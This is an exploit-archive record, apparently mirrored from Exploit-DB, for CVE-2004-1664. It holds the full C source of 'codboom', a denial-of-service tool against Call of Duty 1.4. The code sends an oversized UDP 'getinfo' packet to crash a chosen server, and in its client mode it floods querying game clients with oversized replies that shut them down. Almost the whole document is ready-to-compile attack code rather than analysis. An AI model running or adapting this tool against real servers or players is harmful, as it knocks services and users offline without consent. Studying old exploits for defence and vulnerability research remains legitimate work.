{"exploit":{"id":"EDB-433","name":"Call of Duty 1.4 - Denial of Service (DoS)","description":"Call of Duty 1.4 - Denial of Service (DoS)","cves":["CVE-2004-1664"],"author":"Luigi Auriemma","published":"2004-09-05","platform":"multiple","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/433","path":"exploits/multiple/dos/433.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-433.txt","vulnerabilities":[{"id":"CVE-2004-1664","state":"PUBLISHED","title":null,"titleSource":null,"description":"Call of Duty 1.4 and earlier allows remote attackers to cause a denial of service (game end) via a large (1) query or (2) reply packet, which is not properly handled by the buffer overflow protection mechanism. NOTE: this issue might overlap CVE-2005-0430.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1664","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1664"},"updatedAt":"2024-08-08T01:00:36.949Z","retrievedAt":"2026-11-26T12:10:00.610Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-433.png?v=2","url":"https://exploitbin.com/exploits/EDB-433","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-433/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-433/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*         winerr.h         */\n\n/*\n   Header file used for manage errors in Windows\n   It support socket and errno too\n   (this header replace the previous sock_errX.h)\n*/\n\n#include <string.h>\n#include <errno.h>\n\n\n\nvoid std_err(void) {\n    char    *error;\n\n    switch(WSAGetLastError()) {\n        case 10004: error = \"Interrupted system call\"; break;\n        case 10009: error = \"Bad file number\"; break;\n        case 10013: error = \"Permission denied\"; break;\n        case 10014: error = \"Bad address\"; break;\n        case 10022: error = \"Invalid argument (not bind)\"; break;\n        case 10024: error = \"Too many open files\"; break;\n        case 10035: error = \"Operation would block\"; break;\n        case 10036: error = \"Operation now in progress\"; break;\n        case 10037: error = \"Operation already in progress\"; break;\n        case 10038: error = \"Socket operation on non-socket\"; break;\n        case 10039: error = \"Destination address required\"; break;\n        case 10040: error = \"Message too long\"; break;\n        case 10041: error = \"Protocol wrong type for socket\"; break;\n        case 10042: error = \"Bad protocol option\"; break;\n        case 10043: error = \"Protocol not supported\"; break;\n        case 10044: error = \"Socket type not supported\"; break;\n        case 10045: error = \"Operation not supported on socket\"; break;\n        case 10046: error = \"Protocol family not supported\"; break;\n        case 10047: error = \"Address family not supported by protocol family\"; break;\n        case 10048: error = \"Address already in use\"; break;\n        case 10049: error = \"Can't assign requested address\"; break;\n        case 10050: error = \"Network is down\"; break;\n        case 10051: error = \"Network is unreachable\"; break;\n        case 10052: error = \"Net dropped connection or reset\"; break;\n        case 10053: error = \"Software caused connection abort\"; break;\n        case 10054: error = \"Connection reset by peer\"; break;\n        case 10055: error = \"No buffer space available\"; break;\n        case 10056: error = \"Socket is already connected\"; break;\n        case 10057: error = \"Socket is not connected\"; break;\n        case 10058: error = \"Can't send after socket shutdown\"; break;\n        case 10059: error = \"Too many references, can't splice\"; break;\n        case 10060: error = \"Connection timed out\"; break;\n        case 10061: error = \"Connection refused\"; break;\n        case 10062: error = \"Too many levels of symbolic links\"; break;\n        case 10063: error = \"File name too long\"; break;\n        case 10064: error = \"Host is down\"; break;\n        case 10065: error = \"No Route to Host\"; break;\n        case 10066: error = \"Directory not empty\"; break;\n        case 10067: error = \"Too many processes\"; break;\n        case 10068: error = \"Too many users\"; break;\n        case 10069: error = \"Disc Quota Exceeded\"; break;\n        case 10070: error = \"Stale NFS file handle\"; break;\n        case 10091: error = \"Network SubSystem is unavailable\"; break;\n        case 10092: error = \"WINSOCK DLL Version out of range\"; break;\n        case 10093: error = \"Successful WSASTARTUP not yet performed\"; break;\n        case 10071: error = \"Too many levels of remote in path\"; break;\n        case 11001: error = \"Host not found\"; break;\n        case 11002: error = \"Non-Authoritative Host not found\"; break;\n        case 11003: error = \"Non-Recoverable errors: FORMERR, REFUSED, NOTIMP\"; break;\n        case 11004: error = \"Valid name, no data record of requested type\"; break;\n        default: error = strerror(errno); break;\n    }\n    fprintf(stderr, \"\\nError: %s\\n\", error);\n    exit(1);\n}\n\n/*  codboom.c */\n\n/*\n\nby Luigi Auriemma\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef WIN32\n    #include <winsock.h>\n    #include <io.h>\n    #include <malloc.h>\n    #include \"winerr.h\"\n\n    #define close   closesocket\n#else\n    #include <unistd.h>\n    #include <sys/socket.h>\n    #include <sys/types.h>\n    #include <arpa/inet.h>\n    #include <netdb.h>\n#endif\n\n\n\n#define VER         \"0.1\"\n#define BUFFSZ      2048\n#define PORT        28960\n#define TIMEOUT     3\n#define INFO        \"\\xff\\xff\\xff\\xff\" \"getinfo xxx\\n\"\n#define BOOM        \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" \\\n                    \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n                        // must be major than 1023 bytes\n#define SVBOF       \"\\xff\\xff\\xff\\xff\" \"getinfo %s\\n\"\n#define CLBOF       \"\\xff\\xff\\xff\\xff\" \\\n                    \"%sResponse\\n\" \\\n                    \"\\\\g_gametype\\\\dm\" \\\n                    \"\\\\gamename\\\\Call of Duty\" \\\n                    \"\\\\mapname\\\\mp_carentan\" \\\n                    \"\\\\protocol\\\\5\" \\\n                    \"\\\\scr_friendlyfire\\\\0\" \\\n                    \"\\\\scr_killcam\\\\0\" \\\n                    \"\\\\shortversion\\\\1.4\" \\\n                    \"\\\\sv_allowAnonymous\\\\0\" \\\n                    \"\\\\sv_floodProtect\\\\1\" \\\n                    \"\\\\sv_hostname\\\\Crash\" \\\n                    \"\\\\sv_maxclients\\\\26\" \\\n                    \"\\\\sv_maxPing\\\\0\" \\\n                    \"\\\\sv_maxRate\\\\10000\" \\\n                    \"\\\\sv_minPing\\\\0\" \\\n                    \"\\\\sv_privateClients\\\\0\" \\\n                    \"\\\\sv_punkbuster\\\\1\" \\\n                    \"\\\\sv_pure\\\\1\" \\\n                    \"\\\\pswrd\\\\0\" \\\n                    \"\\\\mod\\\\1\" \\\n                    \"\\\\crash\\\\%s\"\n\n\n\nvoid show_info(u_char *buff);\nint timeout(int sock);\nu_long resolv(char *host);\nvoid std_err(void);\n\n\n\nint main(int argc, char *argv[]) {\n    int         sd,\n                len,\n                psz,\n                on = 1,\n                type;\n    u_short     port = PORT;\n    u_char      buff[BUFFSZ + 1];\n    struct  sockaddr_in peer;\n\n\n    setbuf(stdout, NULL);\n\n    fputs(\"\\n\"\n        \"Call of Duty <= 1.4 server/client shutdown \"VER\"\\n\"\n        \"by Luigi Auriemma\\n\"\n        \"e-mail: aluigi@altervista.org\\n\"\n        \"web:    http://aluigi.altervista.org\\n\"\n        \"\\n\", stdout);\n\n    if(argc < 2) {\n        printf(\"\\nUsage: %s <attack> [port(%d)]\\n\"\n            \"\\n\"\n            \"Attack:\\n\"\n            \" c = broadcast clients shutdown\\n\"\n            \" s = server shutdown\\n\"\n            \"     You must add the IP or the hostname of the server after the 's'.\\n\"\n            \"\\n\"\n            \"Some usage examples:\\n\"\n            \"  codboom c                      listens on port %d for clients\\n\"\n            \"  codboom c 1234                 listens on port 1234\\n\"\n            \"  codboom s 192.168.0.1          tests the server 192.168.0.1 on port %d\\n\"\n            \"  codboom s codserver 1234       tests the server codserver on port 1234\\n\"\n            \"\\n\", argv[0], PORT, PORT, PORT);\n        exit(1);\n    }\n\n#ifdef WIN32\n    WSADATA    wsadata;\n    WSAStartup(MAKEWORD(1,0), &wsadata);\n#endif\n\n    type = argv[1][0];\n    if(type == 's') {\n        if(argc < 3) {\n            printf(\"\\n\"\n                \"Error: you must specify the server IP or hostname.\\n\"\n                \"       Example: %s s localhost\\n\"\n                \"\\n\", argv[0]);\n            exit(1);\n        }\n        peer.sin_addr.s_addr = resolv(argv[2]);\n        if(argc > 3) port = atoi(argv[3]);\n        printf(\"\\n- Target   %s:%hu\\n\",\n            inet_ntoa(peer.sin_addr),\n            port);\n\n    } else if(type == 'c') {\n        peer.sin_addr.s_addr = INADDR_ANY;\n        if(argc > 2) port = atoi(argv[2]);\n        printf(\"\\n- Listen on port %d\\n\", port);\n\n    } else {\n        fputs(\"\\n\"\n            \"Error: Wrong type of chosen attack.\\n\"\n            \"       You can choose between 2 types of attacks, passive versus clients with\\n\"\n            \"       'c' or versus servers with 's'\\n\"\n            \"\\n\", stdout);\n        exit(1);\n    }\n\n    peer.sin_port   = htons(port);\n    peer.sin_family = AF_INET;\n    psz             = sizeof(peer);\n\n    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n    if(sd < 0) std_err();\n\n    if(type == 's') {\n        fputs(\"- Request informations\\n\", stdout);\n        if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))\n          < 0) std_err();\n        if(timeout(sd) < 0) {\n            fputs(\"\\n\"\n                \"Error: socket timeout, probably the server is not online or the port is wrong\\n\"\n                \"\\n\", stdout);\n            exit(1);\n        }\n        len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);\n        if(len < 0) std_err();\n        buff[len] = 0x00;\n        show_info(buff);\n\n        fputs(\"- Send BOOM packet\\n\", stdout);\n        len = sprintf(buff, SVBOF, BOOM);\n        if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))\n          < 0) std_err();\n\n        if(timeout(sd) < 0) {\n            fputs(\"\\nServer IS vulnerable!!!\\n\\n\", stdout);\n        } else {\n            len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);\n            if(len < 0) std_err();\n            buff[len] = 0x00;\n            printf(\"\\n\"\n                \"Server doesn't seem to be vulnerable, the following is the answer received:\\n\"\n                \"\\n%s\\n\\n\", buff);\n        }\n    } else {\n        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))\n          < 0) std_err();\n        if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))\n          < 0) std_err();\n        fputs(\"  Clients:\\n\", stdout);\n        for(;;) {\n            len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);\n            if(len < 0) std_err();\n            buff[len] = 0x00;\n\n            printf(\"%16s:%hu -> %s\\n\",\n                inet_ntoa(peer.sin_addr),\n                ntohs(peer.sin_port),\n                buff);\n\n            if(!memcmp(buff + 4, \"getinfo\", 7)) {\n                len = sprintf(buff, CLBOF, \"info\", BOOM);\n            } else {\n                len = sprintf(buff, CLBOF, \"status\", BOOM);\n            }\n            if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))\n              < 0) std_err();\n        }\n    }\n\n    close(sd);\n    return(0);\n}\n\n\n\n\n\nvoid show_info(u_char *buff) {\n    int     nt = 1;\n    u_char  *string;\n\n    while((string = strchr(buff, '\\\\'))) {\n        *string = 0x00;\n        if(!nt) {\n            printf(\"%30s: \", buff);\n            nt++;\n        } else {\n            printf(\"%s\\n\", buff);\n            nt = 0;\n        }\n        buff = string + 1;\n    }\n    printf(\"%s\\n\", buff);\n}\n\n\n\n\nint timeout(int sock) {\n    struct  timeval tout;\n    fd_set  fd_read;\n    int     err;\n\n    tout.tv_sec = TIMEOUT;\n    tout.tv_usec = 0;\n    FD_ZERO(&fd_read);\n    FD_SET(sock, &fd_read);\n    err = select(sock + 1, &fd_read, NULL, NULL, &tout);\n    if(err < 0) std_err();\n    if(!err) return(-1);\n    return(0);\n}\n\n\n\n\nu_long resolv(char *host) {\n    struct  hostent *hp;\n    u_long  host_ip;\n\n    host_ip = inet_addr(host);\n    if(host_ip == INADDR_NONE) {\n        hp = gethostbyname(host);\n        if(!hp) {\n            printf(\"\\nError: Unable to resolv hostname (%s)\\n\", host);\n            exit(1);\n        } else host_ip = *(u_long *)(hp->h_addr);\n    }\n    return(host_ip);\n}\n\n\n\n#ifndef WIN32\n    void std_err(void) {\n        perror(\"\\nError\");\n        exit(1);\n    }\n#endif\n\n// milw0rm.com [2004-09-05]","sha256":"27d9cea0a76c55ad0f0bbba60d653a28784b9926967080df75a02e91e75f7b3e","bytes":12333,"fetchedAt":"2026-11-26T12:09:55.434Z","encoding":"utf-8 (display only; download retains original bytes)"}